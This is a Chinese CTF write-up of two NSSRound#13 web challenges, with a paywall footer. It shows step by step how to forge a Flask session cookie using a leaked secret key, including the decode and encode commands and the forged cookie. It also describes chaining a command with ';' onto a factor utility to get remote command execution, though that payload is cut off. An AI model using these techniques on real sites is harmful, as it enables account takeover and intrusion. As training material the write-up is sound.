[NSSRound#13 Basic]flask?jwt?
打开环境后进入该界面

我们自然是没有账号密码的,这里一开始尝试sql注入但是提示账号密码错误,所以换个思路。
先注册账号密码,注册成功之后先看看忘记密码功能
发现有hint,给了secretkey: th3f1askisfunny,猜测是session伪造

然后我们用注册好的账号密码去登录

进去后有个拿flag,但是直接点是肯定拿不到的

既然我们已经知道secret_key了,那就去尝试session伪造,我们先得到现在的session
.eJwlzsENwzAIAMBdePcBxsY4y0QYg9Jv0ryq7t5KvQnuDXuecR2wvc47HrA_F2yAkoXJB-Kw1Lmkopm4IvVSugRJ49QSraVqQa-5qncNdS8qOZuvIFOcWCcuk2k8G9myiqMLkTdMcmyeSzpXyR7MTDZ0UlVy-EXuK87_psDnC5sILu4.ZKOIWw.RgfNfFlSxUdKucolY_51_xve0hc
我们要利用flask_session_cookie_manager3来进行session解密,payload:
python flask_session_cookie_manager3.py decode -s "th3f1askisfunny" -c ".eJwlzsENwzAIAMBdePcBxsY4y0QYg9Jv0ryq7t5KvQnuDXuecR2wvc47HrA_F2yAkoXJB-Kw1Lmkopm4IvVSugRJ49QSraVqQa-5qncNdS8qOZuvIFOcWCcuk2k8G9myiqMLkTdMcmyeSzpXyR7MTDZ0UlVy-EXuK87_psDnC5sILu4.ZKOIWw.RgfNfFlSxUdKucolY_51_xve0hc"
得到:
{
'_fresh': True, '_id': '06f231c9009af8bd640aa6c80172276e1653f82e55f8820c4fd4c78e8cc286fb5cde1a80b04b0da6ba3b51ada4097611c50f1c05cfd67346f7e3331a98b1481c', '_user_id': '1'}
这里修改一下_user_id属性,猜测admin的_user_id是1
得到payload:
python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '06f231c9009af8bd640aa6c80172276e1653f82e55f8820c4fd4c78e8cc286fb5cde1a80b04b0da6ba3b51ada4097611c50f1c05cfd67346f7e3331a98b1481c', '_user_id': '1'}"
得到伪造好的session
.eJwlzsENwzAIAMBd_O4DbINxlokAg9Jv0ryq7t5KvQnuXfY84zrK9jrveJT9ucpWgLM29AkwNcUWd1BlF8BR6-BAppZSgyhFKnjP1X1IiHsVTiNfgSpg0A2WsmkzQl3aYQ5GdIJEB_JcPFrnHNFaQ51i2AW9_CL3Fed_g-XzBZsFLu0.ZKOJxg.SN4-0N7QVRYyRKcA3WcDrNnPeu0
然后进入到点击拿flag后的界面,把伪造好的session放进去,得到flag
[NSSRound#13 Basic]ez_factors
题目有hint:原生 Linux 因数爆破工具。flag在根目录
先用dirsearch扫一下,ok,啥也没有,换个思路

回到题目界面

这个tool是一个超链接,点击之后跳转界面,根据题目描述,得知这里使用了factor命令对url中的数字进行因数分解
factor命令用于分解因数。factor是Ubuntu自带的分解质因数的指令

然后我们用;进行命令拼接,来进行RCE,payload:

文章详细描述了几个CTF挑战中的网络安全问题,涉及Flask应用中的JWT与session伪造,利用忘密功能和secret_key解密session,实现权限提升获取flag。另外,文章还介绍了利用Linux命令进行因数爆破,通过命令注入(RCE)和ApacheHTTPServer的CVE-2023-25690漏洞进行请求走私,以及通过文件读取和HTTP走私技术获取敏感信息。
最低0.47元/天 解锁文章
996

被折叠的 条评论
为什么被折叠?



